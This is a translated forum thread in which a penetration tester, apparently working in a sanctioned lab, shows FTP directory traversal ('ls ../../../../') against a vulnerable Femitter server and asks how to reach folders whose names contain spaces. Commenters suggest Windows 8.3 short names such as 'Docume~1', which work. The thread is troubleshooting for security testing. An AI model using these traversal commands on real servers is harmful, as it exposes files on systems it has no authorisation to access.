Je suis en train de réaliser un pentest sanctionné dans un environnement de référence fermé, et je me suis heurté à un problème apparemment simple, que je ne peux actuellement pas résoudre.
En tentant d'exécuter une attaque par traversée de répertoire contre un serveur FTP Fermitter vulnérable fonctionnant sur MS Windows OS, il est possible de faire un LIST sur la racine du système (les adresses et les listes de contenu ont été modifiées ici pour référence seulement) :
# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root):
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT
-rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS
226 File sent ok
Cependant, si je veux lister le contenu d'un dossier contenant des espaces blancs tels que Documents and settings
Je ne suis pas en mesure de lister le contenu du répertoire car les espaces sont ignorés.
ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
J'ai déjà essayé d'utiliser différents clients FTP (CLI et GUI, sous Linux et Windows) et ils ignorent les espaces blancs ou interdisent la traversée des répertoires.
J'ai également essayé d'écrire l'attaque sur Python en utilisant d'abord les sockets bruts puis ftplib pour envoyer les commandes au format HEX directement au serveur FTP, mais sans succès.
La recherche sur Google pendant quelques heures n'a pas permis de trouver une solution efficace (oui, il y avait beaucoup d'options qui ne fonctionnaient pas), c'est pourquoi il y a quelqu'un ici, qui a eu le même problème. Je suis sûr que ce n'est pas la première fois qu'une telle traversée de répertoire avec des espaces blancs est nécessaire.
0 votes
La sensibilité à la casse ne semble pas pertinente pour les clients FTP. Au moins, le client FTP GNU/Linux liste les répertoires en ignorant la casse.
0 votes
@lockout : la sensibilité à la casse est un élément du serveur et non du client. Les clients listent les données de la même manière que le serveur les envoie et ne modifient pas la casse.
0 votes
@Steffen Ullrich : Merci ! Ce serveur n'est pas sensible à la casse. Et la sensibilité à la casse n'est pas un problème ici, mais les espaces blancs, qui mettent fin à la traversée du répertoire, le sont.
0 votes
@tim : merci ! La bannière du serveur FTP, telle qu'elle apparaît dans la liste, est le serveur FTP de Femitter, et non le service FTP natif de Windows. Il est possible, mais j'en doute, que ce problème soit limité à cette édition du serveur.
1 votes
Donner également C:\Docume ~1\ un essai.
1 votes
Essayez d'échapper aux espaces avec
\
ou en citant la chaîne du répertoire0 votes
@Dog eat cat world : Whoa, vous avez raison à propos de cette notation ! Je l'avais oubliée. Je vais l'essayer maintenant, et je vous ferai un compte rendu.
0 votes
@DavidPostill : Merci ! L'option que vous avez mentionnée, en plus d'autres approches d'évitement des espaces blancs, a déjà été essayée initialement. Vous pouvez le voir dans la liste ci-dessus.
0 votes
@Dogeatcatworld : Votre suggestion a fonctionné ! La notation courte du dossier Windows ` C:\Docume ~1` a complètement disparu de ma tête ! Je mettrai à jour le post avec la solution. Pourriez-vous également soumettre votre réponse afin que je puisse la marquer comme une solution opérationnelle ? Je vous remercie encore une fois.
0 votes
Ne vous arrêtez pas en si bon chemin ! :) Je suis un nouveau venu sur ce forum, et je posterai la solution rapidement. J'ai juste pensé qu'il serait préférable que l'utilisateur qui a suggéré la solution de travail l'ajoute afin d'obtenir le crédit approprié. Tout le monde se calme... merci !
1 votes
Je suis heureux que cela ait fonctionné pour vous @lockout. Puisque vous avez pris la peine de répondre à votre question, je suis d'accord pour que vous l'acceptiez comme réponse. Merci de me créditer.